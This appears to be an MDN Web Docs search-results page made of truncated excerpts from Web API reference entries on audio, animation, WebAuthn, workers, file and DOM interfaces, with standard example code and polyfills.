frames, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; // add the cat to the pile.
Animation - Web APIs
this will usually be a key
frameeffect object.
... methods animation.cancel() clears all key
frameeffects caused by this animation and aborts its playback.
...if the animation is finished or unplayed, it will play
from end to beginning.
AudioBuffer.getChannelData() - Web APIs
syntax var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); var nowbuffering = myarraybuffer.getchanneldata(channel); parameters channel the channel property is an index representing the particular channel to get data for.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanne...
...ldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
AudioBuffer.length - Web APIs
the length property of the audiobuffer interface returns an integer representing the length, in sample-
frames, of the pcm data stored in the buffer.
... syntax var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); myarraybuffer.length; value an integer.
... example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specifi...
AudioContext() - Web APIs
the audiocontext() constructor creates a new audiocontext object which represents an audio-processing graph, built
from audio modules linked together, each represented by an audionode.
...available properties are as follows: latencyhint optional the type of playback that the context will be used for, as a value
from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
... usage notes the specification doesn't go into a lot of detail about things like how many audio contexts a user agent should support, or minimum or maximum latency requirements (if any), so these details can vary
from browser to browser.
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio
from which can then be played and manipulated.
... example this simple example creates a source
from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
...lement.scrolltop : document.body.scrolltop); gainnode.gain.value = cury/height; } // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(gainnode); gainnode.connect(audioctx.destination); note: as a consequence of calling createmediaelementsource(), audio playback
from the htmlmediaelement will be re-routed into the processing graph of the audiocontext.
AudioContext.createMediaStreamDestination() - Web APIs
examples in the following simple example, we create a mediastreamaudiodestinationnode, an oscillatornode and a mediarecorder (the example will therefore only work in firefox and chrome at this time.) the mediarecorder is set up to record information
from the mediastreamdestinationnode.
...after that, the stop event fires, a new blob is made of type opus — which contains the data in the chunks array, and a new window (tab) is then opened that points to a url created
from the blob.
...
from here, you can play and save the opus file.
AudioWorkletProcessor - Web APIs
constructor the audioworkletprocessor and classes that derive
from it cannot be instantiated directly
from a user-supplied code.
... usage notes deriving classes to define custom audio processing code you have to derive a class
from the audioworkletprocessor interface.
...this method gets called for each block of 128 sample-
frames and takes input and output arrays and calculated values of custom audioparams (if they are defined) as parameters.
AuthenticatorAttestationResponse.getTransports() - Web APIs
such transports may be usb, nfc, ble or internal (applicable when the authenticator is not removable
from the device).
... note: this method may only be used in top-level contexts and will not be available in an <i
frame> for example.
... examples var publickey = { challenge: /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response...
AuthenticatorResponse.clientDataJSON - Web APIs
properties after the clientdatajson object is converted
from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
... challenge the base64url encoded version of the cryptographic challenge sent
from the relying party's server.
... examples function arraybuffertostr(buf) { return string.
fromcharcode.apply(null, new uint8array(buf)); } // pk is a publickeycredential that is the result of a create() or get() promise var clientdatastr = arraybuffertostr(pk.clientdatajson); var clientdataobj = json.parse(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original ch...
AuthenticatorResponse - Web APIs
the child interfaces include information
from the browser such as the challenge origin and either may be returned
from publickeycredential.response.
... examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent
from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var public...
...key = { challenge: /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BaseAudioContext.createAnalyser() - Web APIs
the createanalyser() method of the baseaudiocontext interface creates an analysernode, which can be used to expose audio time and
frequency data and create data visualisations.
... example the following example shows basic usage of an audiocontext to create an analyser node, then use requestanimation
frame() to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; var bufferlength = analyser.
frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimation
frame(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); ...
BaseAudioContext.createScriptProcessor() - Web APIs
syntax var scriptprocessor = audioctx.createscriptprocessor(buffersize, numberofinputchannels, numberofoutputchannels); parameters buffersize the buffer size in units of sample-
frames.
... this value controls how
frequently the audioprocess event is dispatched and how many sample-
frames need to be processed each call.
...for each channel and each sample
frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
BasicCardRequest.supportedNetworks - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...for androidopera for androidsafari on iossamsung internetsupportednetworkschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... webview android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
BasicCardRequest - Web APIs
obsolete properties these properties have been removed
from the payment method: basic card specification and should no longer be used.
... request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... }) .catch(function(err) { // do something with the error
from request.show().
Using the Beacon API - Web APIs
window.onsubmit = function send_analytics() { var data = json.stringify({ location: location.href, time: date() }); navigator.sendbeacon('/analytics', data); }; workernavigator.sendbeacon() the beacon api's workernavigator.sendbeacon() method works identically to the usual method, but is accessible
from worker global scope.
... in the following example, a worker sends a beacon using the url and data
from the global context.
... this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message
from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the worker (worker-using.js): onmessage = function(event) { var msg = event.data; // split the url and data
from the message var url = msg[0]; var data = msg[1]; // if the browser supports worker sendbeacon(), then send the beacon; otherwise // return failure mes...
BroadcastChannel - Web APIs
it allows communication between different documents (in different windows, tabs,
frames or i
frames) of the same origin.
... properties this interface also inherits properties
from its parent, eventtarget.
... methods this interface also inherits methods
from its parent, eventtarget.
CSSConditionRule - Web APIs
two objects derive
from it : cssmediarule and csssupportsrule.
... interface cssconditionrule : cssgroupingrule { attribute domstring conditiontext; } properties the cssconditionrule derives
from cssrule, cssgroupingrule and inherits all properties of these classes.
... methods the cssconditionrule derives
from cssrule, cssgroupingrule and inherits all methods of these classes.
CSSCounterStyleRule - Web APIs
inheritance this interface inherits
from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssrule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssrule</text></a><polyline points="76,25 86,2...
...116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent cssrule.
... methods this interface doesn't implement any specific method but inherits methods
from its parent cssrule.
CSSStyleSheet.insertRule() - Web APIs
it supplements insertrule() with a function that separates the selector
from the rules before sending the arguments to the default native insertrule().
... (function(sheet_proto){ var originalinsertrule = sheet_proto.insertrule; if (originalinsertrule.length === 2){ // 2 mandatory arguments: (selector, rules) sheet_proto.insertrule = function(selectorandrule){ // first, separate the selector
from the rule a: for (var i=0, len=selectorandrule.length, isescaped=0, newcharcode=0; i !== len; ++i) { newcharcode = selectorandrule.charcodeat(i); if (!isescaped && (newcharcode === 123)) { // 123 = "{".charcodeat(0) // secondly, find the last closing bracket var openbracketpos = i, closebracketpos = -1; for (; i !== len; ++i) { newcharcode = selectorandrule.charcodeat(i); if (!isescaped && (newcharcode === 125)) { // 125 = "}".charcodeat(0) closeb...
... working draft no change
from document object model (dom) level 2 style specification.
CSSValueList - Web APIs
the cssvaluelist interface derives
from the cssvalue interface and provides the abstraction of an ordered collection of css values.
... the items in the cssvaluelist are accessible via an integral index, starting
from 0.
...st" target="_top"><rect x="121" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvaluelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, cssvalue.
Managing screen orientation - Web APIs
duis lacinia nisi nec sem viverra vitae
fringilla nulla ultricies.
.../ @media screen and (orientation: landscape) { #toolbar { position: fixed; width: 2.65em; height: 100%; } p { margin-left: 2em; } li + li { margin-top: .5em; } } and here's the result portrait landscape note: the orientation media query actually applies based on the orientation of the browser window (or i
frame) not the orientation of the device.
...if application a is locked to landscape and application b is locked to portrait, switching
from application a to b or b to a will not fire an orientationchange event because both applications will keep the orientation they had.
CanvasCaptureMediaStreamTrack.canvas - Web APIs
the canvascapturemediastreamtrack canvas read-only property returns the htmlcanvaselement
from which
frames are being captured.
... syntax var elt = stream.canvas; value an htmlcanvaselement indicating the canvas which is the source of the
frames being captured.
... // obtain the canvas associated with the stream var canvas = stream.canvas; specifications specification status comment media capture
from dom elementsthe definition of 'canvascapturemediastreamtrack.canvas' in that specification.
ChannelMergerNode - Web APIs
properties no specific property; inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
...to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify both the index of the channel to connect
from and the index of the channel to connect to.
ChannelSplitterNode - Web APIs
properties no specific property; inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
...to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify the index of the channel to connect
from and the index of the channel to connect to.
ChildNode.after() - Web APIs
with(node) { after("foo"); } // referenceerror: after is not defined polyfill you can polyfill the after() method in internet explorer 9 and higher with the following code: //
from: https://github.com/jserz/js_piece/blob/master/dom/childnode/after()/after().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('after')) { return; } object.defineproperty(item, 'after', { configurable: true, enumerable: true, writable: true, value: function after() { var argarr = array.prototype.slice.call(arguments), ...
... doc
frag = document.createdocument
fragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; doc
frag.appendchild(isnode ?
... argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(doc
frag, this.nextsibling); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); another polyfill //
from: https://github.com/fabiovergani/js-polyfill_element.prototype.after/blob/master/after.js (function(x){ var o=x.prototype,p='after'; if(!o[p]){ o[p]=function(){ var e, m=arguments, l=m.length, i=0, t=this, p=t.parentnode, n=node, s=string, d=document; if(p!==null){ while(i<l){ e=m[i]; if(e instanceof n){ t=t.nextsibling; if(t!==null){ p.insertbefore(e,t); }else{ p.appendchild(e); }; }else{ p.appendch...
ChildNode.before() - Web APIs
with(node) { before("foo"); } // referenceerror: before is not defined polyfill you can polyfill the before() method in internet explorer 9 and higher with the following code: //
from: https://github.com/jserz/js_piece/blob/master/dom/childnode/before()/before().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('before')) { return; } object.defineproperty(item, 'before', { configurable: true, enumerable: true, writable: true, value: function before() { var argarr = array.prototype.slice.call(argumen...
...ts), doc
frag = document.createdocument
fragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; doc
frag.appendchild(isnode ?
... argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(doc
frag, this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specification specification status comment domthe definition of 'childnode.before()' in that specification.
Clipboard - Web APIs
the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed
from most or all programs within the environment via defined programming interfaces.
... read() requests arbitrary data (such as images)
from the clipboard, returning a promise.
... readtext() requests text
from the system clipboard; returns a promise which is resolved with a domstring containing the clipboard's text once it's available.
console - Web APIs
the specifics of how it works varies
from browser to browser, but there is a de facto set of features that are typically provided.
... the console object can be accessed
from any global object.
... examples outputting text to the console the most
frequently-used feature of the console is logging of text and other data.
ConvolverNode() - Web APIs
syntax var convolvernode = new convolvernode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
... disablenormalization: a boolean controlling whether the impulse response
from the buffer will be scaled by an equal-power normalization, or not.
... browser compatibility the compatibility table on this page is generated
from structured data.
CredentialsContainer.create() - Web APIs
calls to it within an <i
frame> element will resolve without effect.
...tbd id: (required) usvstring inherited
from credentialdata.
...the available options are: id: (required) usvstring inherited
from credentialdata.
DOMPointInit.w - Web APIs
there are two methods which use dompointinit: the static function dompointreadonly.
frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
... this method is, by inheritance, also available as dompoint.
frompoint().
... this value is assumed to be 1 by default if not included in the dompointinit object passed into
frompoint().
DOMPointInit.y - Web APIs
if this property is missing when the dompointinit object is passed into
frompoint(), the value is assumed to be 0 by default.
... there are two methods which use dompointinit: the static function dompointreadonly.
frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
... this method is, by inheritance, also available as dompoint.
frompoint().
DOMPointReadOnly - Web APIs
first, you can use its constructor, passing in the values of the parameters for each dimension and, optionally, the perspective: /* 2d */ const point = new dompointreadonly(50, 50); /* 3d */ const point = new dompointreadonly(50, 50, 25); /* 3d with perspective */ const point = new dompointreadonly(100, 100, 100, 1.0); the other option is to use the static dompointreadonly.
frompoint() method: const point = dompointreadonly.
frompoint({x: 100, y: 100, z: 50; w: 1.0}); constructor dompointreadonly() creates a new dompointreadonly object given the values of its coordinates and perspective.
... to create a point using adompointinit object, you can instead use dompointreadonly.
frompoint().
... static methods dompointreadonly.
frompoint() a static method that creates a new dompointreadonly object given the coordinates provided in the specified dompointinit object.
DOMTokenList.remove() - Web APIs
the remove() method of the domtokenlist interface removes the specified tokens
from the list.
... syntax tokenlist.remove(token1[, token2[, ...tokenn]]); parameters tokenn a domstring representing the token you want to remove
from the list.
...we then remove a token
from the list, and write the list into the <span>'s node.textcontent.
DedicatedWorkerGlobalScope: message event - Web APIs
the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message
from its parent (i.e.
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message
from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message
from parent: ${event.data}`); }); alternatively, it could listen using the onmessage event handler property: // static/scripts/worker.js self.onmessage = (event) => { console.lo...
...g(`received message
from parent: ${event.data}`); }; specifications specification status html living standard living standard ...
DedicatedWorkerGlobalScope.postMessage() - Web APIs
if the ownership of an object is transferred, it becomes unusable (neutered) in the context it was sent
from and it becomes available only to the main thread it was sent to.
... example the following code snippet shows worker.js, in which an onmessage handler is used to handle messages
from the main script.
... inside the handler a calculation is done
from which a result message is created; this is then sent back to the main thread using postmessage(workerresult); onmessage = function(e) { console.log('message received
from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } in the main script, onmessage would have to be called on a worker object, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (dedicatedworkerglobalscope).
DirectoryEntrySync - Web APIs
ync createreader () raises (fileexception); fileentrysync getfile (in domstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in domstring path, in optional flags options) raises (fileexception); void removerecursively () raises (fileexception); methods createreader() creates a new directoryreadersync to read entries
from this directory.
... void getfile ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path
from the directory to the file to be looked up or created.
... void getdirectory ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path
from the directory to the file to be looked up or created.
DirectoryReaderSync - Web APIs
example in the following code snippet
from html5rocks, we create web workers and pass data
from it to the main app.
... if (!data.cmd || data.cmd != 'list') { return; } try { var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); getallentries(fs.root.createreader()); self.postmessage({entries: paths}); } catch (e) { onerror(e); } }; method overview entrysync readentries () raises (fileexception); method readentries() returns a lost of entries
from a specific directory.
... browser compatibility the compatibility table on this page is generated
from structured data.
Document.ononline - Web APIs
additionally, the events bubble up
from document.body, to document, ending at window.
... both events are non-cancellable (you can't prevent the user
from coming online, or going offline).
... window.navigator.online returns boolean true if the browser is online and false if it is definitely offline (disconnected
from the network).
Document.open() - Web APIs
all existing nodes are removed
from the document.
... examples the following simple code opens the document and replaces its content with a number of different html
fragments, before closing it again.
...as a result, you can no longer call document.write() into an untrusted document
from chrome, even using wrappedjsobject.
Locating DOM elements using selectors - Web APIs
the selectors api provides methods that make it quick and easy to retrieve element nodes
from the dom by matching against a set of selectors.
... the nodeselector interface this specification adds two new methods to any objects implementing the document, document
fragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree.
...this is different
from other dom querying methods that return live node lists.
Using the W3C DOM Level 1 Core - Web APIs
this implies the ability to create any html or xml document
from scratch, or to change any contents of a given html or xml document.
...this document object implements the document interface
from the w3c's dom level 1 spec.
... see also the dom level 1 core specification
from the w3c.
DragEvent() - Web APIs
although this interface has a constructor, it is not possible to create a useful datatransfer object
from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
... this interface inherits properties
from mouseevent and event.
... the drageventinit dictionary inherits
from the mouseeventinit dictionary.
DragEvent - Web APIs
applications are
free to interpret a drag and drop interaction in an application-specific way.
... this interface inherits properties
from mouseevent and event.
... constructors although this interface has a constructor, it is not possible to create a useful datatransfer object
from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
EffectTiming.delay - Web APIs
element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including delay.
... the value of delay corresponds directly to effecttiming.delay in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
... syntax var timingproperties = { delay: delayinmilliseconds }; timingproperties.delay = delayinmilliseconds; value a number specifying the delay, in milliseconds,
from the start of the animation's play cycle to the beginning of its active interval (the time index at which actual animation begins).
EffectTiming.duration - Web APIs
the duration property of the dictionary effecttiming in the web animations api specifies the duration in milliseconds that a single iteration (
from beginning to end) the animation should take to complete.
... element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including duration.
... the value of duration corresponds directly to animationeffecttimingreadonly.duration in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
EffectTiming.endDelay - Web APIs
this is useful for sequencing animations based on the end time of another animation; note, however, that many of the sequence effectst that will benefit most
from this property have not been defined in the specification yet.
... element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including enddelay.
... the value of enddelay corresponds directly to animationeffecttimingreadonly.enddelay in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
EffectTiming.iterations - Web APIs
element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including iterations.
... the value of iterations corresponds directly to animationeffecttimingreadonly.iterations in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
...any value
from 0 (don't play the animation at all) to positive infinity (run the animation indefinitely) is supported.
Element.attributes - Web APIs
living standard
from document object model (dom) level 3 core specification, moved
from node to element document object model (dom) level 3 core specificationthe definition of 'element.attributes' in that specification.
... obsolete no change
from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.attributes' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'element.attributes' in that specification.
Element: click event - Web APIs
this counter resets after a short interval without any clicks occurring; the specifics of how long that interval is may vary
from browser to browser and across platforms.
... internet explorer internet explorer 8 & 9 suffer
from a bug where elements with a computed background-color of transparent that are overlaid on top of other element(s) won't receive click events.
... known workarounds for this bug: for ie9 only: set background-color: rgba(0,0,0,0) set opacity: 0 and an explicit background-color other than transparent for ie8 and ie9: set filter: alpha(opacity=0); and an explicit background-color other than transparent safari mobile safari mobile 7.0+ (and likely earlier versions too) suffers
from a bug where click events aren't fired on elements that aren't typically interactive (e.g.
Element.getElementsByTagNameNS() - Web APIs
element is the element
from where the search should start.
... living standard changed the return value
from nodelist to htmlcollection.
... obsolete no change
from document object model (dom) level 2 core specification.
Element: mousedown event - Web APIs
note: this differs
from the click event in that click is fired after a full click action occurs; that is, the mouse button is pressed and released while the pointer remains inside the same element.
...if isdrawing is true, the event handler calls the drawline function to draw a line
from the stored x and y values to the current location.
...ents</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const context = mypics.getcontext('2d'); // event.offsetx, event.offsety gives the (x,y) offset
from the edge of the canvas.
EventTarget.removeEventListener() - Web APIs
the eventtarget.removeeventlistener() method removes
from the eventtarget an event listener previously registered with eventtarget.addeventlistener().
... listener the eventlistener function of the event handler to remove
from the event target.
... notes if an eventlistener is removed
from an eventtarget while it is processing an event, it will not be triggered by the current actions.
FetchEvent.preloadResponse - Web APIs
example this code snippet is
from the navigation preload page.
...else it fetches a response
from the network.
... addeventlistener('fetch', event => { event.respondwith(async function() { // respond
from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
FetchEvent - Web APIs
properties inherits properties
from its ancestor, event.
... methods inherits methods
from its parent, extendableevent.
... event.respondwith(async function() { // try to get the response
from a cache.
File - Web APIs
file objects are generally retrieved
from a filelist object returned as a result of a user selecting files using the <input> element,
from a drag and drop operation's datatransfer object, or
from the mozgetasfile() api on an htmlcanvaselement.
... see using files
from web applications for more information and examples.
... instance methods the file interface doesn't define any methods, but inherits methods
from the blob interface: blob.prototype.slice([start[, end[, contenttype]]]) returns a new blob object containing the data in the specified range of bytes of the source blob.
FileException - Web APIs
var fileentry = fs.root.getfile('log.txt', {create: true, exclusive:true}0; } catch (e) { onerrror(e); } the sample code was borrowed
from html5rocks attribute attribute type description code unsigned short the most appropriate error code for the condition.
...for example, the state that was cached in an interface object has changed since it was last read
from disk.
... browser compatibility the compatibility table on this page is generated
from structured data.
FileList - Web APIs
file item( index ); parameters index the zero-based index of the file to retrieve
from the list.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
...safari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown see also using files
from web applications file filereader ...
FileReader.readAsBinaryString() - Web APIs
at that time, the result attribute contains the raw binary data
from the file.
... note that this method was once removed
from the file api specification, but re-introduced for backward compatibility.
... syntax instanceoffilereader.readasbinarystring(blob); parameters blob the blob or file
from which to read.
FileSystem - Web APIs
these objects can be obtained
from the filesystem property on any file system entry.
... you can get it
from a file system entry object, through its filesystem property.
... draft browser compatibility the compatibility table on this page is generated
from structured data.
FileSystemEntry - Web APIs
it includes methods for working with files—including copying, moving, removing, and reading files—as well as information about a file it points to—including the file name and its path
from the root to the entry.
... fullpath read only a usvstring object which provides the full, absolute path
from the file system's root to the entry; it can also be thought of as a path which is relative to the root directory, prepended with a "/" character.
... browser compatibility the compatibility table on this page is generated
from structured data.
File and Directory Entries API support in Firefox - Web APIs
this article describes how the firefox implementation of the file and directory entries api differs
from other implementations and/or the specification.
... chrome deviations
from the specification the largest compatibility issue still remaining is that chrome is still using older names for many of the interfaces in the api, since they implemented a related but different specification: name in specification name in google chrome filesystemdirectoryentry directoryentry filesystemdirectoryentrysync directoryentrysync filesystemdirectoryreader directoryreader filesystemdirectoryreadersync directoryreadersync filesystementry entry filesystementrysync entrysync filesystemfileentry fileentry filesystemfileentrysync fileentrysync be sure to account for this in your code by allowing for both names.
... firefox only supports reading
from files in the file system.
FormData - Web APIs
formdata.delete() deletes a key/value pair
from a formdata object.
... formdata.get() returns the first value associated with a given key
from within a formdata object.
... formdata.getall() returns an array of all the values associated with a given key
from within a formdata.
FormDataEvent - Web APIs
properties inherits properties
from its parent interface, event.
... methods inherits methods
from its parent interface, event.
... document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data
from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
GainNode - Web APIs
to prevent this
from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface.
... properties inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
GlobalEventHandlers.onanimationend - Web APIs
first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" key
frame set.
... the key
frames are defined next; they describe an animation which causes the box to migrate
from the top-left corner of the container to the bottom-right corner.
... .slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @key
frames slidebox {
from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascript code to do that.
GlobalEventHandlers.onanimationstart - Web APIs
first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" key
frame set.
... the key
frames are defined next; they describe an animation which causes the box to migrate
from the top-left corner of the container to the bottom-right corner.
... .slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @key
frames slidebox {
from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascript code to do that.
HTMLBaseFontElement - Web APIs
properties inherits properties
from its parent, htmlelement.
...numeric values range
from 1 to 7 with 1 being the smallest and 3 the default.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLElement.dir - Web APIs
when a table has its dir set to "rtl", the column order is arranged
from right to left.
... living standard no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLElement.offsetTop - Web APIs
syntax toppos = element.offsettop; parameters toppos is the number of pixels
from the top of the closest relatively positioned parent element.
... example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels
from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification.
... working draft browser compatibility the compatibility table on this page is generated
from structured data.
